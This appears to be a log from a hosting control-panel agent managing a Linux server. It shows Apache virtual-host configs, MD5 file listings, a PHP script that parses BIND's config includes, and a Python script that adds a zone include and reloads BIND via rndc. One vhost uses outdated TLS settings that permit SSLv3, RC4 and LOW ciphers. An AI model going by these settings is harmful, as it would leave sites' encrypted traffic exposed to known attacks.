    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/n-e-v_www_info.conf	1324

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/pjy_mercury_us.conf)= 3651d7b01c1f5bca629305eff1589751
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 414903a1e0ac1e2a7e254dee74f79029
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 5d90c3a6ec5ceaeb02aac3e9c7f02169
MD5(/etc/apache2/sites-available/n-e-v_www_info.conf)= 593712aedaa094e34acf59bdae6305e2
MD5(/etc/ssl/certs/27a452e75854403499effc104b58be29.crt)= 841163e9ac1be7878375a4731722ce1b
link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2/sites-available/pjy_mercury_us.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/n-e-v_www_info.conf)= /etc/apache2/sites-available/n-e-v_www_info.conf




STDERR:
/tmp/pkp781688:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-23 17:44:01: Establishing a connection
2025-12-23 17:44:03: Establishing a connection
2025-12-23 17:44:12: Establishing a connection
2025-12-23 17:44:12: Establishing a connection
2025-12-23 17:44:12: 

PUT: /tmp/pkp969875

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-23 17:44:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp969875; rm /tmp/pkp969875'

2025-12-23 17:44:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-23 17:44:12: 

PUT: /tmp/pkp808158

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '954ebedf55cc0740293342780846a6cd'
ZONE_NAME = 'persianchurch.info'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-12-23 17:44:12: 

